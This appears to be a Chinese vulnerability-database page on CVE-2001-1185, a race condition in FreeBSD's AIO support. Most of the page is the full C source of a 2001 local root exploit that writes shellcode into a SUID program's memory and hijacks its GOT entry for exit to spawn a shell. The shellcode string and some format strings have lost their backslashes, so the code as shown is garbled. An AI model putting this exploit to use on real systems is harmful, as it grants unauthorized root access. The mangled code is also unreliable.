FreeBSD “AIO”库交叉进程重写内存漏洞

FreeBSD “AIO”库交叉进程重写内存漏洞

漏洞ID 1106534 漏洞类型 未知
发布时间 2001-12-10 更新时间 2005-05-02
图片[1]-FreeBSD “AIO”库交叉进程重写内存漏洞-安全小百科CVE编号 CVE-2001-1185
图片[2]-FreeBSD “AIO”库交叉进程重写内存漏洞-安全小百科CNNVD-ID CNNVD-200112-088
漏洞平台 FreeBSD CVSS评分 6.2
|漏洞来源
https://www.exploit-db.com/exploits/21176
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200112-088
|漏洞详情
aio.h是POSIX标准的异步I/O的实现,如果要使FreeBSD支持AIO的话,只需要在编译内核时打开”VFS_AIO”选项,缺省情况下该选项是关闭的。aio.h头文件存在一个竞争条件安全漏洞,允许本地攻击者提升权限。在某种条件下,对一个输入的套接口未决的读操作可能导致最终调用”execve”,最后读操作继续,并且对新的进程的内存空间进行写操作。本地用户如果能够创建并运行一个调用SUID程序的恶意程序,就可能用任意数据重写SUID程序的任意内存位置,这就可能导致提升权限。
|漏洞EXP
source: http://www.securityfocus.com/bid/3661/info

aio.h is a library implementing the POSIX standard for asynchronous I/O. Support for AIO may be enabled in FreeBSD by compiling the kernel with the VFS_AIO option. This option is not enabled in the default kernel configuration.

Under some circumstances, pending reads from an input socket may persist through a call to execve. Eventually the read will continue, and write to the memory space of the new process.

If a local user is able to create and execute a malicious program calling a suid program, it may be possible to overwrite arbitrary memory locations in the suid process with arbitrary data. This could immediately lead to escalated privileges. 

/* tao - FreeBSD Local AIO Exploit
 * 
 * http://elysium.soniq.net/dr/tao/tao.html
 *
 * 4.4-STABLE is vulnerable up to at least 28th October.
 *
 * (C) David Rufino <[email protected]> 2001
 * All Rights Reserved.
 *
 ***************************************************************************
 * bug found 13/07/01
 *
 * Any scheduled AIO read/writes will generally persist through an execve.
 *
 * "options VFS_AIO" must be in your kernel config, which is not enabled
 * by default.
 *
 * It may be interesting to note that the FreeBSD team have known about this
 * bug for a long time. Just take a look at 'LINT'.
 *
 * get the GOT address of exit, from any suid bin, by doing:
 * $ objdump --dynamic-reloc bin | grep exit
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <aio.h>

char code[]=
	"x31xc0x50x50xb0x17xcdx80"
	"x6ax3bx58x99x52x89xe3x68x6ex2fx73x68"
	"x68x2fx2fx62x69x60x5ex5excdx80";

unsigned long GOT = 0x0804fe20;
char *execbin = "/usr/bin/passwd";

int
main (argc, argv)
	int			argc;
	char			**argv;
{
	int			fds[2], sdf[2];
	struct aiocb		cb, cb2;
	char			buf[128], d;

	if ((d = getopt (argc, argv, "g:e:")) != -1) {
		switch (d) {
		case 'g':
			GOT = strtoul (optarg, NULL, 16);
			break;
		case 'e':
			execbin = optarg;
			break;
		}
	}

	printf ("got address: %08lxn", GOT);
	printf ("executable: %sn", execbin);
	/*
	 * pipes are treated differently to sockets, with sockets the
	 * aiod gets notifyed, whereas with pipes the aiod starts
	 * immediately blocking in fo_read. This is a problem because
	 * after the execve the aiod is still using the old vmspace struct
	 * if you use pipes, which means the data doesnt actually get copied
	 */
	if (socketpair (AF_UNIX, SOCK_STREAM, 0, fds) < 0) {
		perror ("socketpair");
		return (EXIT_FAILURE);
	}

	if (socketpair (AF_UNIX, SOCK_STREAM, 0, sdf) < 0) {
		perror ("socketpair");
		return (EXIT_FAILURE);
	}

	if (fork() != 0) {
		close (fds[0]);
		close (sdf[0]);
		memset (&cb, 0, sizeof(cb));
		memset (&cb2, 0, sizeof(cb2));
		cb.aio_fildes = fds[1];
		cb.aio_offset = 0;
		cb.aio_buf = (void *)GOT;
		cb.aio_nbytes = 4;
		cb.aio_sigevent.sigev_notify = SIGEV_NONE;

		cb2.aio_fildes = sdf[1];
		cb2.aio_offset = 0;
		cb2.aio_buf = (void *)0xbfbfff80;
		cb2.aio_nbytes = sizeof(code);
		cb2.aio_sigevent.sigev_notify = SIGEV_NONE;
		if (aio_read (&cb2) < 0) {
			perror ("aio_read");
			return (EXIT_FAILURE);
		}
		if (aio_read (&cb) < 0) {
			perror ("aio_read");
			return (EXIT_FAILURE);
		}
		execl (execbin, "test", NULL);
	} else {
		close(fds[1]);
		close(sdf[1]);
		sleep(2);
		printf ("writingn");
		write (sdf[0], code, sizeof(code));
		*(unsigned int *)buf = 0xbfbfff80;
		write (fds[0], buf, 4);
	}
	return (EXIT_SUCCESS);
}

/*
 * vim: ts=8
 */
|参考资料

来源:BID
名称:3661
链接:http://www.securityfocus.com/bid/3661
来源:BUGTRAQ
名称:20011210AIOvulnerability
链接:http://www.securityfocus.com/archive/1/244583
来源:XF
名称:bsd-aio-overwrite-memory(7693)
链接:http://www.iss.net/security_center/static/7693.php
来源:OSVDB
名称:2001
链接:http://www.osvdb.org/2001

相关推荐: Siteman User Database Privilege Escalation Vulnerability

Siteman User Database Privilege Escalation Vulnerability 漏洞ID 1097209 漏洞类型 Input Validation Error 发布时间 2005-01-19 更新时间 2005-01-19 …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享